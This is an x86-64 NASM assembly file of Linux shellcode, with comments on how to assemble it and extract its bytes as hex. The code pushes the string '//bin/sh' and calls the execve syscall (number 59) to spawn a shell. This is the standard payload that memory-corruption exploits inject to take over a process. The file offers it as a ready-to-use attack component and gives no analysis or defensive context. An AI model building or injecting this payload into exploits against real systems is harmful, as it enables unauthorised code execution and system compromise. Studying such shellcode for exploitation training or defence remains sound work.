; compile with:
; nasm -f elf64 shellcode_64.asm -o shellcode_64.o
; copy shellcode with:
; objcopy -j .text -O binary shellcode_64.o shellcode_64.bin
; extract shellcode hex with
; xxd -p -c0 shellcode_64.bin

section .text
        global _start
 
_start:
        xor     rax, rax
        push    rax
        mov     rdi, 0x68732f6e69622f2f
        push    rdi
        mov     rdi, rsp
        xor     rsi, rsi
        xor     rdx, rdx
        mov     al, 59
        syscall
